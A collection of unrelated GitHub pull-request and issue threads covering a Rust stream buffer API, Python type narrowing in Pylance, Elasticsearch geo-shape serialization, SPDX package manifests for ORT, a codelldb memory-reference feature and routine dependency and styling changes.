This is useful when you don't necessarily want to consume the entire stream as a reader, but still want to retain the stream for other uses.
~The nested tuple/Option/tuple is a bit awkward, but minimal. Do you think it'd be worth making a single-purpose enum to return here instead?~ For readability of code that calls this method, I added an enum.

This build failure is pretty puzzling to me, as I cannot duplicate it even with the exact same nightly compiler on Ubuntu 18.04

Hey, sorry for the delay! I don't quite have the time to properly review this right now, but I'll be sure to take a look in the next few days.

All existing into_inner methods discard the combinator state and return only the underlying stream. Any reason why this returns an own enum containing the state instead of returning the Option<St>? (Methods that return combinator state can cause problems when the internal implementation changes.)

@taiki-e sorry for the delay on this reply. The reason it returns the combinator state is to not lose the bytes that have been buffered up to that point. If we just return the stream, those buffered bytes are lost.

@acfoltzer Thanks for your response. I think the motive makes sense, but I would prefer not to expose the internal representation of these combinators.
So, I think it might be preferable to add a method like BufWriter::buffer separate from into_inner.
And it would probably have the following implementation:
    pub fn into_inner(self) -> St {
        self.stream
        // or:
        // if let ReadState::Eof = self.state { None } else { Some(self.stream) }
    }

    /// Returns a reference to the internally buffered data.
    pub fn buffer(&self) -> &[u8] {
        match self.state {
            ReadState::Ready { chunk, chunk_start } => &chunk.as_ref()[chunk_start..],
            ReadState::PendingChunk | ReadState::Eof => &[],
        }
    }

@acfoltzer  What do you think?


PFE-6: Added input-border-disabled-color and changed success border c…

Description
PayEx success border color was wrong. Needed to be updated.
Motivation and Context
Colors for PayEx input-border-color-success  and disabled did not exist and the current color scheme was wrong and needed to be updated.
How Has This Been Tested?
Snapshot on input component with success and disabled, style lint for less files. Visual review sent to designer.
Screenshots (if appropriate):

Types of changes

[x] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)

Checklist:

[ ] My code follows the code style of this project.
[ ] My change requires a change to the documentation.
[ ] I have updated the documentation accordingly.
[x] I have read the CONTRIBUTING document.
[ ] I have updated the CHANGELOG document.
[ ] I have added tests to cover my changes.
[x] All new and existing tests passed.

Review instructions
Review instructions

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


feat: Capability for Pydantic-based OpenAPI response schemas

Thanks for submitting a PR! Please check the boxes below:

[x] I have run pre-commit to check linting
[ ] I have added information to docs/ if required so people know about the feature!
[x] I have filled in the "Changes" section below?
[x] I have filled in the "How did you test this code" section below?
[x] I have used a Conventional Commit title for this Pull Request

Changes
This PR solves incorrect rendering of Optional fields of the environment document Swagger spec, and adds a generalised way to use Pydantic models to describe API responses with swagger_auto_schema.

Add exclude_model_fields utility function
Add PydanticResponseCapableSwaggerAutoSchema drf-yasg view inspector
Fix invalid nullable field schema generation

How did you test this code?

Observed correct Swagger schema locally.
Added a unit test.

Codecov Report
Attention: Patch coverage is 98.07692% with 1 lines in your changes are missing coverage. Please review.

Project coverage is 95.93%. Comparing base (d31fd45) to head (63b244f).
 Consider uploading reports for the commit 1c06394 to get more accurate results

Files
Patch %
Lines

api/api/openapi.py
96.00%
1 Missing :warning:

Additional details and impacted files
@@           Coverage Diff           @@
##             main    #3795   +/-   ##
=======================================
  Coverage   95.93%   95.93%
=======================================
  Files        1103     1106    +3
  Lines       34816    34845   +29
=======================================
+ Hits        33400    33428   +28
- Misses       1416     1417    +1

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


chore: update to Bazel 6.0.0rc1

Looks like --remote_download_toplevel regressed in the 6.0.0rc1 release. It now breaks the build.
Tested with yesterday's pre-release https://github.com/bazelbuild/bazel/releases/tag/6.0.0-pre.20221012.2 and it was not broken there.

Another matrix axis?


Type narrowing is broken for if-elif

Environment data

Pylance version: 2024.7.1
OS and version: macOS 14.5 (but it also reproduces on Windows)
Python version (& distribution if applicable, e.g. Anaconda): 3.12.4 (from https://conda.anaconda.org/conda-forge/osx-arm64/python-3.12.4-h30c5eda_0_cpython.conda )

Code Snippet
def fn(a: str | None, b: list[int] | None):
    if a is None and b is None:
        raise ValueError("a and b cannot be both non-None")
    elif a is not None:
        print(a)
        b = [1]

    b.pop()

Repro Steps
Copy-paste code and use pylance
Expected behavior
b should be detected as a list[int] type. This is because, either a and b were None, in which case, an exception was raised or a is not None and thus, b was defined as a list[int] or b (by-definition from the first if), must be not-None and thus a list[int].
Actual behavior
b is still considered list[int] | None and thus, the pop call is considered invalid.

I'm not sure if it is important information, but the same problem also occurs with match cases too.
def fn(a: str | None, b: list[int] | None):
    match a, b:
        case None, None:
            raise ValueError("a and b cannot be both non-None")
        case str(), None:
            print(a)
            b = [1]

    b.pop()

This works as intended. Relations between types are not considered, but you can use an assert to tell this to the type checker:
from typing import reveal_type

def fn(a: str | None, b: list[int] | None):
    if a is None and b is None:
        raise ValueError("a and b cannot be both non-None")

    reveal_type(b)  # Type of "b" is "list[int] | None"
    if a is not None:
        print(a)
        b = [1]

    assert b is not None
    b.pop()

mypy does the same: https://mypy-play.net/?mypy=latest&python=3.12&gist=12be0a69a580d4a3e9e97719cf8d4eda

OK, that is a little frustrating. Is there some kind of technical explanation as to why? I just checked TypeScript too and I see that it behaves the same way, so it would be great to get a better understanding of why

This would force all variables to be narrowed at the same time:
reveal_type(a, b) # (str, list[int]) | (None, list[int]) | (str, None) | (None, None)
if a is None and b is None:
    raise ValueError("a and b cannot be both non-None")

reveal_type(a, b) # (str, list[int]) | (None, list[int]) | (str, None)
if a is not None:
    print(a)
    b = [1]

reveal_type(a, b) # (str, list[int]) | (None, list[int])
b.pop()

There's an exponential growth of the number of combinations. This is complicated both for us and for type checkers.
There also wouldn't be an obvious way to reveal the type of a single variable anymore.
(Also, you should close this as "not planned")


Context errors

Towards a fix of #437

Summary:
I've ported exc_wrap_pointer() from Rasterio and am using it to get exceptions from GDAL in a way that's better than using with cpl_errs: (which I'd like to remove in the future).
And, I'm making sure that if self.session.start() fails within Collection() or fiona.open(), the collection's session is set back to None.


Geo-Shape - invalid serialization when used JsonNetSerializer.Default

NEST/Elasticsearch.Net version: 6.0.1
Elasticsearch version: 6.2.1
Description of the problem including expected versus actual behavior:
We are indexing the data containing geo-shape data.
When using  JsonNetSerializer these data are serialized incorrectly.
(Default serializer works OK.)
var point = new PointGeoShape(new GeoCoordinate(lat, lon));

With default serializer (expected):
{
    "geometry": {
        "type": "geometrycollection",
        "geometries": [
            {
                "coordinates": [
                    49.105995,
                    21.9926492
                ],
                "type": "point"
            },
            {
                "coordinates": [
                    49.1017987,
                    21.9909713
                ],
                "type": "point"
            }
        ]
    }
}

With JsonNetSerializer (actual):
{
    "geometry": {
        "type": "geometrycollection",
        "geometries": [
            {
                "coordinates": {
                    "lat": 49.105995,
                    "lon": 21.9926492
                },
                "type": "point"
            },
            {
                "coordinates": {
                    "lat": 49.1017987,
                    "lon": 21.9909713
                },
                "type": "point"
            }
        ]
    }
}

which produces the following error:
json_parse_exception Reason: "Current token (FIELD_NAME) not numeric, can not use numeric value accessors
 at [Source: org.elasticsearch.common.bytes.BytesReference$MarkSupportingStreamInputWrapper@248dbc2c; line: 1, column: 462]

The same issue with nest 6.0.1 and Elasticsearch 6.1.3
I try to index document with EnvelopeGeoShape and get above error.
In my case I have to hook serializer as described  here since I have inherited classes and use custom json converters.
But this leads to error with geoshapes, so I can't move to nest 6
Would be nice to know if you have any plans regarding this issue.
Thanks.

Thanks for reporting @stefando.
@GAnatoliy the IGeoShape types were intended to be used as input types to geo shape queries. I can see the value of being able to specify them on documents though, so am looking at supporting them for this usage.


analyzer: Add a generic OrtDefinitionFile "fake" package manager

Signed-off-by: Sebastian Schuberth<EMAIL_ADDRESS>

@sschuberth  We actually planning to add a SPDX package manager to ORT based on package.spdx.yml described in  https://github.com/spdx/spdx-spec/issues/439 to capture dependencies for C/C++ projects that are committed to the repo.

That basically sounds nice @tsteenbe, but what's the time frame for this? Sounds like proposal first should be spec'ed out by SPDX before using it widely.
Also, in your example, where's the directory name referenced? Is it the name field?

It does not need to be spec'ed as everything we need is already part of SPDX 2.2 - the only new thing we would introduce is to name the file by default package.spdx.yml but we could also say in ort that the SPDX package manager looks for all files ending with .spdx.yml or .spdx.yml.
Directory goes in the PackageFileName field see 3.4.5 example
So if curl 7.70.0 is included in ./myrootdir/myproject/libs/curl the example would be:
SPDXID: "SPDXRef-DOCUMENT"
spdxVersion: "SPDX-2.2"
creationInfo:
  created: "2020-07-23T18:30:22Z"
  creators:
  - "Organization: The SPDX project"
  - "Person: Thomas Steenbergen"
  licenseListVersion: "3.9"
name: "curl-7.70.0"
dataLicense: "CC0-1.0"
documentNamespace: "http://spdx.org/spdxdocs/spdx-document-curl"
documentDescribes:
- "SPDXRef-Package-curl"
packages:
- SPDXID: "SPDXRef-Package-curl"
  comment: "A command line tool and library for transferring data with URL syntax, supporting \
     HTTP, HTTPS, FTP, FTPS, GOPHER, TFTP, SCP, SFTP, SMB, TELNET, DICT, LDAP, LDAPS, MQTT, FILE, \
     IMAP, SMTP, POP3, RTSP and RTMP. libcurl offers a myriad of powerful features."
  copyrightText: "Copyright (c) 1996 - 2020, Daniel Stenberg<EMAIL_ADDRESS>and many
    contributors, see the THANKS file."
  downloadLocation: "https://github.com/curl/curl/releases/download/curl-7_70_0/curl-7.70.0.tar.gz"
  filesAnalyzed: false
  homepage: "https://curl.haxx.se/"
  licenseConcluded: "NOASSERTION"
  licenseDeclared: "curl"
  name: "curl"
  PackageFileName: "./myrootdir/myproject/libs/curl"
  versionInfo: "7.70.0"

name the file by default package.spdx.yml but we could also say in ort that the SPDX package manager looks for all files ending with .spdx.yml or .spdx.yml.

I like the latter approach, so you could even name the file after the package name, or use packages.spdx.yml (plural).

you place the package.spdx.yml in the root of directory containing the OSS lib

That wouldn't work for our use-case. We have a directory structure like
project / repo root
|
+-external
  |
  + libA
  |
  + libB
  |
  .
  .

where libA and libB are Git submodules, and we cannot put *.spdx.yml directly into any of these. What we preferably would like to do is to put a single file into either the project / repo root or the "external" sub-directory that describes all dependencies in libA, libB etc.
Would that be possible with the a single package(s).spdx.yml file? What would I put into the top-level name: field (the one after creationInfo:) in that case?

Would that be possible with the a single package(s).spdx.yml file? What would I put into the top-level name: field (the one after creationInfo:) in that case?

In your scenario the top level name is always the name of project so in your scenario it would be the name of the project / repo root.
By the way it singular package.spdx.yml as even if it holds multiple packages - think of it as a root package that hold other packages.

Closing this in favor of an upcoming PR that will use the SPDX file.

By the way it singular package.spdx.yml as even if it holds multiple packages - think of it as a root package that hold other packages.

This is still confusing IMO, and then the file should probably be called project.spdx.yml instead, for the same reason we distinguish between "project" and "package" in ORT.

The concept of a project is not something that exist in SPDX.
@sschuberth  What do you think if we update the proposal in https://github.com/spdx/spdx-spec/issues/439 to the following:
The package manifest file must end with extension .spdx.yml, .spdx.yaml or .spdx.json.
We recommend to use:

package for the name of the file e.g. package.spdx.yml if you are describing a single package, or
project for the name of the file e.g.  project.spdx.yml or [name of project].spdx.yml if you describing a project that holds multiple other packages.

if you are describing a single package

I just think we should probably be clearer here, and say that the "root" package in this case is the same as the single package under "packages:".

Closing this in favor of an upcoming PR that will use the SPDX file.

See https://github.com/oss-review-toolkit/ort/pull/2838.


Automated Package Upgrade

:tada: This PR is included in version 5.0.229 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Should be possible to delete objects

Request of HugoLedoux
It should be possible to delete objects in the viewer and do it in parallel in the DB.
For parent/child relationships:
If object has children: delete children also.
If object has parent: do nothing on parent.
If obejct is part of a CityObjectGroup and is last object in group: delete CityObjectGroup.
If object is part of a CityObjectGroup and group is not empty: do nothing.

Deleting an object and its children is now possible.
Parents are updated in order to "clean" the database also.
Deleting a CityObjectGroup and updating them on members deletion are still under revision.

Resolved.


Allow null values in dict columns

Fix #6738

The docs for this PR live here. All of your documentation changes will be reflected on that endpoint. The docs are available until 30 days after the last update.

notify https://huggingface.co/datasets/chaoyi-wu/PMC-Inline/discussions/1 once it's merged in dataset-viewer


react引入报错

./node_modules/relation-graph/react/relation-graph.mjs
Can't import the named export 'createContext' from non EcmaScript module (only default export is available)
怎么解决

需要在打包时配置mjs规则
webpack module rules  {
test: /.mjs$/,
include: /node_modules/,
type: 'javascript/auto'
},


[feature request] Supply memoryReference for variables

I'm trying to implement readdMemory request in vimspector and I see that codelldb supports the readMemory request and from a quick look at the code, it seems that it takes a simple address as the memoryReference.
However, the way DAP is set up, the expectation is that readMemory requests are passed memoryReference values from the Variable type as returned by the(e.g.) variable request.
If codelldb were to supply memoryReference in the variable request then other clients would be able to take advantage of the readMemory request. Or am I missing something important/obvious?

Incidentally, I sat down to make a change/PR to support this, but I was unable to get the code to build locally (I didn't really know what to specify for LLDB_PACKAGE, pointing it at my local build of lldb and/or installation of llvm didn't work):
ben@BeniMac2020 vscode-lldb % cmake -B build -S . -DCMAKE_EXPORT_COMPILE_COMMANDS=ON -DCMAKE_BUILD_TYPE=Debug -DCMAKE_INSTALL_PREFIX=$(pwd)/root
...
Version 1.6.3-dev.2105201533
CMake Error at CMakeLists.txt:23 (message):
  LLDB_PACKAGE not set.

Thanks, trying this out now. It doesn't seem to be working, but it's quite possible that I messed something up.
Am I doing something wrong?
  2021-06-04 19:32:59,569 - DEBUG - Message received: {'type': 'response', 'request_seq': 18, 'success': True, 'command': 'variables', 'body': {'variables': [{'evaluateName': 'argv.*argv', 'memoryReference': '0x7FFEEFBFF2D8', 'name': '*argv', 'type': 'char *', 'value': '"  /Users/ben/.vim/bundle/vimspector/support/test/cpp/simple_c_program/test"', 'variablesReference': 1011}]}}
 2021-06-04 19:33:05,567 - INFO - User Msg: Cannot find memory reference for that                                                                                2021-06-04 19:33:10,199 - DEBUG - Sending Message: {"command": "readMemory", "arguments": {"memoryReference": "0x7FFEEFBFF2D8", "count": 10}, "seq": 19, "type": "request"}
  2021-06-04 19:33:10,200 - DEBUG - Message received: {'type': 'response', 'request_seq': 19, 'success': False, 'message': 'Internal debugger error: invalid digit found in string', 'show_user': True}
  2021-06-04 19:33:10,200 - ERROR - Request failed: Internal debugger error: invalid digit found in string

Sorry, my bad.  I had assumed that str::parse would deal with hexadecimals, but it doesn't.
I'll fix this in the next version.  For now, you can translate hex numbers to decimals on your side.

Thanks, I sorta figured that. I've got the codelldb code built locally now, so I might hack a little bit. I've actually been interested in investigating this codebase for some time, for a couple of reasons. Thanks for the help.


KPI Dashboard CUR requirements

Team,
Please check this issue from cid-cmd: https://github.com/aws-samples/aws-cudos-framework-deployment/issues/246
Looks like we're missing documentation around the KPI Dashboard pre-requisites

@darken99 please can u review this PR https://github.com/awslabs/aws-well-architected-labs/pull/546

Doc updated


Explicitely cast to unsigned short int

This patch allows to compile with conversion warnings (specificely C4242 on MSVC) on, without any issue.

This pull request was implemented manually in the May 2024 Update.


python312Packages.aliyun-python-sdk-core: 2.15.2 -> 2.16.0

Changelog: https://github.com/aliyun/aliyun-openapi-python-sdk/blob/master/aliyun-python-sdk-core/ChangeLog.txt

Things done

Built on platform(s)

[ ] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[ ] sandbox = true

[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
24.11 Release Notes (or backporting 23.11 and 24.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[ ] Fits CONTRIBUTING.md.

Add a :+1: reaction to pull requests you find important.

Result of nixpkgs-review pr 349382 run on x86_64-linux 1

40 packages built:

python311Packages.aiooss2
python311Packages.aiooss2.dist
python311Packages.aliyun-python-sdk-cdn
python311Packages.aliyun-python-sdk-cdn.dist
python311Packages.aliyun-python-sdk-config
python311Packages.aliyun-python-sdk-config.dist
python311Packages.aliyun-python-sdk-core
python311Packages.aliyun-python-sdk-core.dist
python311Packages.aliyun-python-sdk-dbfs
python311Packages.aliyun-python-sdk-dbfs.dist
python311Packages.aliyun-python-sdk-iot
python311Packages.aliyun-python-sdk-iot.dist
python311Packages.aliyun-python-sdk-kms
python311Packages.aliyun-python-sdk-kms.dist
python311Packages.aliyun-python-sdk-sts
python311Packages.aliyun-python-sdk-sts.dist
python311Packages.oss2
python311Packages.oss2.dist
python311Packages.ossfs
python311Packages.ossfs.dist
python312Packages.aiooss2
python312Packages.aiooss2.dist
python312Packages.aliyun-python-sdk-cdn
python312Packages.aliyun-python-sdk-cdn.dist
python312Packages.aliyun-python-sdk-config
python312Packages.aliyun-python-sdk-config.dist
python312Packages.aliyun-python-sdk-core
python312Packages.aliyun-python-sdk-core.dist
python312Packages.aliyun-python-sdk-dbfs
python312Packages.aliyun-python-sdk-dbfs.dist
python312Packages.aliyun-python-sdk-iot
python312Packages.aliyun-python-sdk-iot.dist
python312Packages.aliyun-python-sdk-kms
python312Packages.aliyun-python-sdk-kms.dist
python312Packages.aliyun-python-sdk-sts
python312Packages.aliyun-python-sdk-sts.dist
python312Packages.oss2
python312Packages.oss2.dist
python312Packages.ossfs
python312Packages.ossfs.dist